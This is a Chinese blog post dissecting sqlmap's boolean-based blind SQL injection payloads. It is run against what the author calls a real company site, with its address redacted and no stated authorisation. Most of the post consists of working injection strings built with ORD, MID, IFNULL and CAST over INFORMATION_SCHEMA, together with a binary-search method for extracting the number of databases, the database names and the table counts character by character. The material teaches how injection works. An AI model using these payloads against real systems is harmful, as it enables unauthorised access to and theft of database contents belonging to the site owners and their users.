SQLMAP注入过程payload分析

版权声明: https://blog.csdn.net/Breeze_CAT/article/details/79772538

众所周知,sqlmap是一款命令自动SQL注入工具,功能非常之多,几乎是用于所有场景,研究分析sqlmap的注入payload过程能使我们对SQL注入的理解更加深刻,也能在以后在一些手工测试的场合拥有更多的思路。

今天我们以一个实际的上海某企业的案例来分析一下sqlmap在基于布尔型盲注的时候的工作思路和注入payload的原理。

目标站点url:http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4(手动和谐)

目标站点页面:
这里写图片描述
测试语句:

-u "http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4" --tech B -v 3 --dbs

这里需要注意的是想要让sqlmap显示注入过程的payload必须要用–tech指定注入使用哪种注入方式,这里B代表使用布尔型盲注。

开始sqlmap会进行一些页面稳定性、是否动态、是否可注入、是否过滤一些字符的测试,payload比较简单(如:[PAYLOAD] 4 AND 3655>3654判断‘>’是否可用),我们这里可以略过,我们先手工判断一下这个页面的注入点:
这里写图片描述
这是正常的页面

http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4

url后面加’后
这里写图片描述
这是错误的返回页面,我们可以发现这是mysql的数据库,之后我们构造新url:

http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4 and 1=1
这里写图片描述
这是正常的页面,在构造and false:

http://www.xxxxxxx.com.cn/yyyyyy/zzzzzz.php?id=4 and 1=2
这里写图片描述
基本我们已经可以判断这里存在布尔型的注入了,记住正确的和错误的页面,那么接下来我们看正式的注入过程,首先我们的目标是所有的数据库名,那么我们必须先知道有多少数据库:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

ORD(string)    返回字符串首字符的ASCII码值。

MID(string,start,length)    返回字符串的从start开始长度为length的字符串。

IFNULL(string1,string2)    如果string1是NULL则返回string2,如果不是NULL返回string1。

CAST(volume as type)    用于数据类型转换,将volume转换成type类型的数据(如这里是将数字转换为字符串)。

COUNT    统计个数

DISTINCT    标记只要不同(唯一)的值

值schema的意思就是数据库

INFORMATION_SCHEMA是mysql自带的一个访问元数据的数据库,也就是数据库信息,里面有很多表,在这里使用了SCHEMATA表这个表储存的是所有数据库的信息。

综上,这句话的意思就是从所有数据库表中查询名字不同的数据库的数量,我们来拆解一下:

首先这个语句的主体是 select schema_name from information_schema.schemata,也就是查询元数据数据库中的数据库表的数据库名列的所有值。在此基础上加了一些限制:

DISTINCT(schema_name)限制了只查询不同名字的数据库

(COUNT(DISTINCT(schema_name)限制了查询结果只是返回统计不同名字的数据库的数量

用CAST将其转换为字符(串)

用IFNULL判断是否查询到了结果,如果查询到,返回结果,否则返回0x20(空格)

用MID返回第一个字符

用ORD将这个字符转换为ASCII码之后判断大大小。

在判断大小这里为了能更快地得出结果,我们不需要遍历每一个数字,只要采取二分法可以更快地找到目标。0-9的字符ASCII值对应的是48-57,所以我sqlmap首先判断的>51也就是>3因为mysql本身就有六个数据库但world、test、sakila这三个数据库没卵用可以删除,那么最少应该有三个数据库,information_schema和information_schema和mysql。假如数据库的数量是>3的话,那么就相当于4 and true返回页面不会出现问题,如果返回页面不是正确页面的话我们就可以确定一共有三个数据库(都是默认的)或者是由10多个数据库(20多个也是有可能的),十位是1,2总之是小于等于3的。我们将这个url输入之后发现返回页面是正常的,所以也就是说数据库数量大于3那么根据二分法,数据库数量(的第一个字符,估计大概率是个位,而且第一个字符就大于3了总不会30多个吧)是>3并且<9的。那么接下来我们测试6,也就是:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54

结果也是正确的页面,说明数据库数量是>6且<9的,那么接下来我们测试8……以此类推,最后我们法案现数据库是7个,但出于严禁我们还是测试一下第二个字符(万一丧心病狂70多个数据库呢,tan90)

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51

结果是错误页面,说明第二个字符小于3,然后我们测试是不是小于0,结果显而易见,那么我们基本可以确定是7个数据库了。Sqlmap还是进行了一个>9的测试,可能它是怀疑既然第二位ASCII的值小于48也就是第二位数字不是0-9为了确认一下是不是结束了,但在这里既然我们已经(认为的)确认就是7个了,那么我们可以构造比sqlmap更好的语句来判断这里没有第二个字符了,也就是只是7一个个位数:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))=0

ASCII码0代表\0即结束符证明字符串结束,结果返回正确,实锤了,数据库就是7个。
这里写图片描述
那么接下来我们就尝试如何将全部数据库的名字找到:

4 AND ORD(MID((SELECTDISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20))FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) >64

我们将它拆解一下:

4 AND

ORD(

MID(

(SELECT

DISTINCT(

IFNULL(

CAST(schema_name AS CHAR)

,0x20)

)

FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1)

,1,1)

) >64

这里查询主体是 select schema_name from information_schema.schemata limit 0,1

LIMIT的意思是限定到的条目的位置以及数量,第一个参数是代表偏移量(从0开始,0即代表不偏移从第一个开始),第二个参数代表返回的数量。那么这里就是查询information_schema.schemata表中的数据库名字,但只要第一个,然后我们依次加上限制条件

  1. 将查询结果转换为字符串

  2. 判断是否为空,如果为空则返回空格

  3. 不要重复的

  4. 返回第一个字符

  5. 将第一个字符转换为ASCII码

然后判断是否>64(64是ASCII码@,但判断名字的话名字中可以包含的字符在ASCII码中分布比较分散,就不像判断数量那么容易,所以需要很烦繁琐的步骤)

结果是>64,>96,但<112,>104,<108,<106,总之最后是105—i

接下来进行测试第二个字符

4 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),2,1))>96

同理我们依次判断了18个字符并且都翻译出来了:information_schema(已经基本确定),接下来进行第十九个的测试:

4 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),19,1))>96

我们发现它不大于96,那么我们又发现它不大于48(数字0),接着它也不大于1,也可以用=0直接判断比较直接,实锤了,字符串到此为止。

然后我们来找第二个数据库:

4 AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))>64

和第一个数据库不同的就是LIMIT后面的参数变成了1,1意味着偏移1也就是从第二个开始,那么接下来就不用多说了,繁琐的操作后,我们得到了一共七个数据库的全部:
这里写图片描述
接下来我们尝试找到其中一个我们感兴趣的数据库中的表,首先找到数据库中有多少表:

4 AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7a5b896c),1,1))>51

同样的原理,只是查询的表变成了INFORMATION_SCHEMA.TABLES,这个表中,table_schema代表的是数据库名,table_name代表的是表名字,0x7a5b896c(已和谐)是我想要查询的数据库名转换成ASCII码值。所以这句话翻译就是从INFORMATION_SCHEMA.TABLES表中查询数据库名为0x7a5b896c的表名,返回唯一值的数量并转换为字符串并且返回第一个字符的ASCII码值。

接下来就以此类推我们就可以完成各种不同的查询。

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/79772538
今日推荐